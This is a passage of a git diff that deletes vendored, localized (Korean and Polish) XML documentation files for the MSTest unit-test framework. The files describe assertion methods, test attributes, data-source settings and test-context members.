예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 같은지를 테스트하고, 두 컬렉션이 같지 않으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 있는 - 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 같은 것으로 - 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 예상하는 컬렉션입니다. - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같지 않은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is not equal to - . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - Thrown if is equal to . - - - - - 지정된 컬렉션이 다른지를 테스트하고, 두 컬렉션이 같으면 예외를 - throw합니다. 같음이란 동일한 요소를 동일한 순서 및 양으로 가지고 - 있는 것이라고 정의됩니다. 동일한 값에 대한 서로 다른 참조는 - 같은 것으로 간주됩니다. - - - 비교할 첫 번째 컬렉션. 테스트가 다음과 일치하지 않을 것으로 예상하는 - 컬렉션입니다. . - - - 비교할 두 번째 컬렉션. 테스트 중인 코드에 의해 생성된 - 컬렉션입니다. - - - 컬렉션의 요소를 비교할 때 사용할 비교 구현. - - - 다음과 같은 경우 예외에 포함할 메시지: - 이(가) 다음과 같은 경우: . 메시지가 결과 테스트에 - 표시됩니다. - - - 다음의 서식을 지정할 때 사용할 매개 변수의 배열: . - - - Thrown if is equal to . - - - - - 첫 번째 컬렉션이 두 번째 컬렉션의 하위 집합인지를 - 확인합니다. 한 집합에 중복된 요소가 포함된 경우, 하위 집합에 있는 요소의 - 발생 횟수는 상위 집합에 있는 발생 횟수와 같거나 - 작아야 합니다. - - - 테스트가 다음에 포함될 것으로 예상하는 컬렉션: . - - - 테스트가 다음을 포함할 것으로 예상하는 컬렉션: . - - - 다음의 경우 True 이(가) - 의 하위 집합인 경우 참, 나머지 경우는 거짓. - - - - - 지정된 컬렉션에서 각 요소의 발생 횟수를 포함하는 - 사전을 생성합니다. - - - 처리할 컬렉션. - - - 컬렉션에 있는 null 요소의 수. - - - 지정된 컬렉션에 있는 각 요소의 발생 횟수를 포함하는 - 딕셔너리. - - - - - 두 컬렉션 간의 불일치 요소를 찾습니다. 불일치 요소란 - 예상 컬렉션에 나타나는 횟수가 실제 컬렉션에 - 나타나는 횟수와 다른 요소를 말합니다. 컬렉션은 - 같은 수의 요소가 있는 Null이 아닌 다른 참조로 - 간주됩니다. 이 수준에서의 확인 작업은 호출자의 - 책임입니다. 불일치 요소가 없으면 함수는 false를 - 반환하고 출력 매개 변수가 사용되지 않습니다. - - - 비교할 첫 번째 컬렉션. - - - 비교할 두 번째 컬렉션. - - - 다음의 예상 발생 횟수: - 또는 불일치 요소가 없는 경우 - 영(0). - - - 다음의 실제 발생 횟수: - 또는 불일치 요소가 없는 경우 - 영(0). - - - 불일치 요소(null일 수 있음) 또는 불일치 요소가 없는 경우 - null. - - - 불일치 요소가 발견되면 참, 발견되지 않으면 거짓. - - - - - object.Equals를 사용하여 개체 비교합니다. - - - - - 프레임워크 예외에 대한 기본 클래스입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - 예외. - - - - 클래스의 새 인스턴스를 초기화합니다. - - 메시지. - - - - 지역화된 문자열 등을 찾기 위한 강력한 형식의 리소스 클래스입니다. - - - - - 이 클래스에서 사용하는 캐시된 ResourceManager 인스턴스를 반환합니다. - - - - - 이 강력한 형식의 리소스 클래스를 사용하여 모든 리소스 조회에 - 대한 현재 스레드의 CurrentUICulture 속성을 재정의합니다. - - - - - [액세스 문자열의 구문이 잘못되었습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 컬렉션에 <{2}>은(는) {1}개가 포함되어야 하는데 실제 컬렉션에는 {3}개가 포함되어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [중복된 항목이 있습니다. <{1}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>. 대/소문자가 다른 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값 <{1}>과(와) 실제 값 <{2}>의 차이가 <{3}>보다 크지 않아야 합니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}({2})>. 실제 값: <{3}({4})>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>. 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값 <{1}>과(와) 실제 값 <{2}>의 차이가 <{3}>보다 커야 합니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 값: <{1}>을(를) 제외한 모든 값. 실제 값: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [AreSame()에 값 형식을 전달하면 안 됩니다. Object로 변환된 값은 동일한 값으로 간주되지 않습니다. AreEqual()을 사용해 보세요. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}이(가) 실패했습니다. {1}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [async TestMethod with UITestMethodAttribute는 지원되지 않습니다. async를 제거하거나 TestMethodAttribute를 사용하세요.]와 유사한 지역화된 문자열 조회합니다. - - - - - [두 컬렉션이 모두 비어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션에 같은 요소가 포함되어 있습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션 참조가 동일한 컬렉션 개체를 가리킵니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [두 컬렉션에 같은 요소가 포함되어 있습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}({1})]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [(null)]과 유사한 지역화된 문자열을 조회합니다. - - - - - Looks up a localized string similar to (object). - - - - - ['{0}' 문자열이 '{1}' 문자열을 포함하지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0}({1})]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [어설션에 Assert.Equals를 사용할 수 없습니다. 대신 Assert.AreEqual 및 오버로드를 사용하세요.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [컬렉션의 요소 수가 일치하지 않습니다. 예상 값: <{1}>. 실제 값: <{2}>.{0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {0}에 있는 요소가 일치하지 않습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {1}에 있는 요소는 예상 형식이 아닙니다. 예상 형식: <{2}>. 실제 형식: <{3}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [인덱스 {1}에 있는 요소가 (null)입니다. 예상 형식: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 문자열로 끝나지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [잘못된 인수 - EqualsTester에는 Null을 사용할 수 없습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 형식의 개체를 {1} 형식의 개체로 변환할 수 없습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [참조된 내부 개체가 더 이상 유효하지 않습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 매개 변수가 잘못되었습니다. {1}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 속성의 형식은 {2}이어야 하는데 실제로는 {1}입니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{0} 예상 형식: <{1}>. 실제 형식: <{2}>.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 패턴과 일치하지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [잘못된 형식: <{1}>. 실제 형식: <{2}>. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 문자열이 '{1}' 패턴과 일치합니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [DataRowAttribute가 지정되지 않았습니다. DataTestMethodAttribute에는 하나 이상의 DataRowAttribute가 필요합니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [{1} 예외를 예상했지만 예외가 throw되지 않았습니다. {0}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - ['{0}' 매개 변수가 잘못되었습니다. 이 값은 Null일 수 없습니다. {1}.](과)와 유사한 지역화된 문자열을 조회합니다. - - - - - [요소 수가 다릅니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - 다음과 유사한 지역화된 문자열을 조회합니다. - [지정한 시그니처를 가진 생성자를 찾을 수 없습니다. 전용 접근자를 다시 생성해야 할 수 있습니다. - 또는 멤버가 기본 클래스에 정의된 전용 멤버일 수 있습니다. 기본 클래스에 정의된 전용 멤버인 경우에는 이 멤버를 정의하는 형식을 - PrivateObject의 생성자에 전달해야 합니다.] - - - - - - 다음과 유사한 지역화된 문자열을 조회합니다. - [지정한 멤버({0})를 찾을 수 없습니다. 전용 접근자를 다시 생성해야 할 수 있습니다. - 또는 멤버가 기본 클래스에 정의된 전용 멤버일 수 있습니다. 기본 클래스에 정의된 전용 멤버인 경우에는 이 멤버를 정의하는 형식을 - PrivateObject의 생성자에 전달해야 합니다.] - - - - - - ['{0}' 문자열이 '{1}' 문자열로 시작되지 않습니다. {2}.]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [예상 예외 형식은 System.Exception이거나 System.Exception에서 파생된 형식이어야 합니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [(예외로 인해 {0} 형식의 예외에 대한 메시지를 가져오지 못했습니다.)]와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 예상 예외 {0}을(를) throw하지 않았습니다. {1}](과)와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 예상 예외를 throw하지 않았습니다. 예외는 테스트 메서드에 정의된 {0} 특성에 의해 예상되었습니다.]와 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 {0} 예외를 throw했지만 {1} 예외를 예상했습니다. 예외 메시지: {2}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [테스트 메서드에서 {0} 예외를 throw했지만 {1} 예외 또는 해당 예외에서 파생된 형식을 예상했습니다. 예외 메시지: {2}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - [{1} 예외를 예상했지만 {2} 예외를 throw했습니다. {0} - 예외 메시지: {3} - 스택 추적: {4}]과(와) 유사한 지역화된 문자열을 조회합니다. - - - - - 단위 테스트 결과 - - - - - 테스트가 실행되었지만 문제가 있습니다. - 예외 또는 실패한 어설션과 관련된 문제일 수 있습니다. - - - - - 테스트가 완료되었지만, 성공인지 실패인지를 알 수 없습니다. - 중단된 테스트에 사용된 것일 수 있습니다. - - - - - 아무 문제 없이 테스트가 실행되었습니다. - - - - - 테스트가 현재 실행 중입니다. - - - - - 테스트를 실행하려고 시도하는 동안 시스템 오류가 발생했습니다. - - - - - 테스트가 시간 초과되었습니다. - - - - - 테스트가 사용자에 의해 중단되었습니다. - - - - - 테스트의 상태를 알 수 없습니다. - - - - - 단위 테스트 프레임워크에 대한 도우미 기능을 제공합니다. - - - - - 재귀적으로 모든 내부 예외에 대한 메시지를 포함하여 예외 메시지를 - 가져옵니다. - - 오류 메시지 정보가 포함된 - 문자열에 대한 메시지 가져오기의 예외 - - - - 클래스와 함께 사용할 수 있는 시간 제한에 대한 열거형입니다. - 열거형의 형식은 일치해야 합니다. - - - - - 무제한입니다. - - - - - 테스트 클래스 특성입니다. - - - - - 이 테스트를 실행할 수 있는 테스트 메서드 특성을 가져옵니다. - - 이 메서드에 정의된 테스트 메서드 특성 인스턴스입니다. - 이 테스트를 실행하는 데 사용됩니다. - Extensions can override this method to customize how all methods in a class are run. - - - - 테스트 메서드 특성입니다. - - - - - 테스트 메서드를 실행합니다. - - 실행할 테스트 메서드입니다. - 테스트 결과를 나타내는 TestResult 개체의 배열입니다. - Extensions can override this method to customize running a TestMethod. - - - - 테스트 초기화 특성입니다. - - - - - 테스트 정리 특성입니다. - - - - - 무시 특성입니다. - - - - - 테스트 속성 특성입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 이름. - - - 값. - - - - - 이름을 가져옵니다. - - - - - 값을 가져옵니다. - - - - - 클래스 초기화 특성입니다. - - - - - 클래스 정리 특성입니다. - - - - - 어셈블리 초기화 특성입니다. - - - - - 어셈블리 정리 특성입니다. - - - - - 테스트 소유자 - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 소유자. - - - - - 소유자를 가져옵니다. - - - - - Priority 특성 - 단위 테스트의 우선 순위를 지정하는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 우선 순위. - - - - - 우선 순위를 가져옵니다. - - - - - 테스트의 설명 - - - - - 테스트를 설명하는 클래스의 새 인스턴스를 초기화합니다. - - 설명입니다. - - - - 테스트의 설명을 가져옵니다. - - - - - CSS 프로젝트 구조 URI - - - - - CSS 프로젝트 구조 URI에 대한 클래스의 새 인스턴스를 초기화합니다. - - CSS 프로젝트 구조 URI입니다. - - - - CSS 프로젝트 구조 URI를 가져옵니다. - - - - - CSS 반복 URI - - - - - CSS 반복 URI에 대한 클래스의 새 인스턴스를 초기화합니다. - - CSS 반복 URI입니다. - - - - CSS 반복 URI를 가져옵니다. - - - - - WorkItem 특성 - 이 테스트와 연결된 작업 항목을 지정하는 데 사용됩니다. - - - - - WorkItem 특성에 대한 클래스의 새 인스턴스를 초기화합니다. - - 작업 항목에 대한 ID입니다. - - - - 연결된 작업 항목에 대한 ID를 가져옵니다. - - - - - Timeout 특성 - 단위 테스트의 시간 제한을 지정하는 데 사용됩니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - 시간 제한. - - - - - 미리 설정된 시간 제한이 있는 클래스의 새 인스턴스를 초기화합니다. - - - 시간 제한 - - - - - 시간 제한을 가져옵니다. - - - - - 어댑터에 반환할 TestResult 개체입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. - - - - - 결과의 표시 이름을 가져오거나 설정합니다. 여러 결과를 반환할 때 유용합니다. - Null인 경우 메서드 이름은 DisplayName으로 사용됩니다. - - - - - 테스트 실행의 결과를 가져오거나 설정합니다. - - - - - 테스트 실패 시 throw할 예외를 가져오거나 설정합니다. - - - - - 테스트 코드에서 로그한 메시지의 출력을 가져오거나 설정합니다. - - - - - 테스트 코드에서 로그한 메시지의 출력을 가져오거나 설정합니다. - - - - - 테스트 코드에 의한 디버그 추적을 가져오거나 설정합니다. - - - - - Gets or sets the debug traces by test code. - - - - - 테스트 실행의 지속 시간을 가져오거나 설정합니다. - - - - - 데이터 소스에서 데이터 행 인덱스를 가져오거나 설정합니다. 데이터 기반 테스트에서 - 개별 데이터 행 실행의 결과에 대해서만 설정합니다. - - - - - 테스트 메서드의 반환 값을 가져오거나 설정합니다(현재 항상 Null). - - - - - 테스트로 첨부한 결과 파일을 가져오거나 설정합니다. - - - - - 데이터 기반 테스트에 대한 연결 문자열, 테이블 이름 및 행 액세스 방법을 지정합니다. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource의 기본 공급자 이름입니다. - - - - - 기본 데이터 액세스 방법입니다. - - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 데이터 소스에 액세스할 데이터 공급자, 연결 문자열, 데이터 테이블 및 데이터 액세스 방법으로 초기화됩니다. - - 고정 데이터 공급자 이름(예: System.Data.SqlClient) - - 데이터 공급자별 연결 문자열. - 경고: 연결 문자열에는 중요한 데이터(예: 암호)가 포함될 수 있습니다. - 연결 문자열은 소스 코드와 컴파일된 어셈블리에 일반 텍스트로 저장됩니다. - 이 중요한 정보를 보호하려면 소스 코드 및 어셈블리에 대한 액세스를 제한하세요. - - 데이터 테이블의 이름. - 데이터에 액세스할 순서를 지정합니다. - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 연결 문자열 및 테이블 이름으로 초기화됩니다. - OLEDB 데이터 소스에 액세스하기 위한 연결 문자열 및 데이터 테이블을 지정하세요. - - - 데이터 공급자별 연결 문자열. - 경고: 연결 문자열에는 중요한 데이터(예: 암호)가 포함될 수 있습니다. - 연결 문자열은 소스 코드와 컴파일된 어셈블리에 일반 텍스트로 저장됩니다. - 이 중요한 정보를 보호하려면 소스 코드 및 어셈블리에 대한 액세스를 제한하세요. - - 데이터 테이블의 이름. - - - - 클래스의 새 인스턴스를 초기화합니다. 이 인스턴스는 설정 이름과 연결된 연결 문자열 및 데이터 공급자로 초기화됩니다. - - app.config 파일의 <microsoft.visualstudio.qualitytools> 섹션에 있는 데이터 소스의 이름. - - - - 데이터 소스의 데이터 공급자를 나타내는 값을 가져옵니다. - - - 데이터 공급자 이름. 데이터 공급자를 개체 초기화에서 지정하지 않은 경우 System.Data.OleDb의 기본 공급자가 반환됩니다. - - - - - 데이터 소스의 연결 문자열을 나타내는 값을 가져옵니다. - - - - - 데이터를 제공하는 테이블 이름을 나타내는 값을 가져옵니다. - - - - - 데이터 소스에 액세스하는 데 사용되는 메서드를 가져옵니다. - - - - 값 중 하나입니다. 이(가) 초기화되지 않은 경우 다음 기본값이 반환됩니다. . - - - - - app.config 파일의 <microsoft.visualstudio.qualitytools> 섹션에서 찾은 데이터 소스의 이름을 가져옵니다. - - - - - 데이터를 인라인으로 지정할 수 있는 데이터 기반 테스트의 특성입니다. - - - - - 모든 데이터 행을 찾고 실행합니다. - - - 테스트 메서드. - - - 배열 . - - - - - 데이터 기반 테스트 메서드를 실행합니다. - - 실행할 테스트 메서드. - 데이터 행. - 실행 결과. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 4b958bf7..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Służy do określenia elementu wdrożenia (pliku lub katalogu) dla wdrożenia testowego. - Może być określony w klasie testowej lub metodzie testowej. - Może mieć wiele wystąpień atrybutu w celu określenia więcej niż jednego elementu. - Ścieżka elementu może być bezwzględna lub względna. Jeśli jest względna, jest określana względem elementu RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - Inicjuje nowe wystąpienie klasy . - - Plik lub katalog do wdrożenia. Ścieżka jest określana względem katalogu wyjściowego kompilacji. Element zostanie skopiowany do tego samego katalogu co wdrożone zestawy testowe. - - - - Inicjuje nowe wystąpienie klasy - - Względna lub bezwzględna ścieżka do pliku lub katalogu do wdrożenia. Ścieżka jest określana względem katalogu wyjściowego kompilacji. Element zostanie skopiowany do tego samego katalogu co wdrożone zestawy testowe. - Ścieżka katalogu, do którego mają być kopiowane elementy. Może być bezwzględna lub określana względem katalogu wdrażania. Wszystkie pliki i katalogi określone przez zostaną skopiowane do tego katalogu. - - - - Pobiera ścieżkę źródłowego pliku lub folderu do skopiowania. - - - - - Pobiera ścieżkę katalogu, do którego element jest kopiowany. - - - - - Wykonaj kod testowy w wątku interfejsu użytkownika dla aplikacji ze Sklepu Windows. - - - - - Wykonuje metodę testową w wątku interfejsu użytkownika. - - - Metoda testowa. - - - Tablica elementów wystąpienia. - - Throws when run on an async test method. - - - - - Klasa TestContext. Ta klasa powinna być w pełni abstrakcyjna i nie może zawierać żadnych - elementów członkowskich. Adapter zaimplementuje elementy członkowskie. Użytkownicy platformy powinni - uzyskiwać dostęp do tego elementu tylko za pośrednictwem prawidłowo zdefiniowanego interfejsu. - - - - - Pobiera właściwości testu. - - - - - Pobiera w pełni kwalifikowaną nazwę klasy zawierającej aktualnie wykonywaną metodę testową - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Pobiera nazwę aktualnie wykonywanej metody testowej - - - - - Pobiera wynik bieżącego testu. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 55933843..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/pl/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Metoda TestMethod do wykonania. - - - - - Pobiera nazwę metody testowej. - - - - - Pobiera nazwę klasy testowej. - - - - - Pobiera zwracany typ metody testowej. - - - - - Pobiera parametry metody testowej. - - - - - Pobiera element methodInfo dla metody testowej. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Wywołuje metodę testową. - - - Argumenty przekazywane do metody testowej (np. w przypadku opartej na danych) - - - Wynik wywołania metody testowej. - - - This call handles asynchronous test methods as well. - - - - - Pobierz wszystkie atrybuty metody testowej. - - - Informacja o tym, czy atrybut zdefiniowany w klasie nadrzędnej jest prawidłowy. - - - Wszystkie atrybuty. - - - - - Pobierz atrybut określonego typu. - - System.Attribute type. - - Informacja o tym, czy atrybut zdefiniowany w klasie nadrzędnej jest prawidłowy. - - - Atrybuty określonego typu. - - - - - Element pomocniczy. - - - - - Sprawdzany parametr nie ma wartości null. - - - Parametr. - - - Nazwa parametru. - - - Komunikat. - - Throws argument null exception when parameter is null. - - - - Sprawdzany parametr nie ma wartości null i nie jest pusty. - - - Parametr. - - - Nazwa parametru. - - - Komunikat. - - Throws ArgumentException when parameter is null. - - - - Wyliczenie dotyczące sposobu dostępu do wierszy danych w teście opartym na danych. - - - - - Wiersze są zwracane po kolei. - - - - - Wiersze są zwracane w kolejności losowej. - - - - - Atrybut do definiowania danych wbudowanych dla metody testowej. - - - - - Inicjuje nowe wystąpienie klasy . - - Obiekt danych. - - - - Inicjuje nowe wystąpienie klasy , które pobiera tablicę argumentów. - - Obiekt danych. - Więcej danych. - - - - Pobiera dane do wywoływania metody testowej. - - - - - Pobiera lub ustawia nazwę wyświetlaną w wynikach testu do dostosowania. - - - - - Wyjątek niejednoznacznej asercji. - - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - Wyjątek. - - - - Inicjuje nowe wystąpienie klasy . - - Komunikat. - - - - Inicjuje nowe wystąpienie klasy . - - - - - Klasa InternalTestFailureException. Używana do 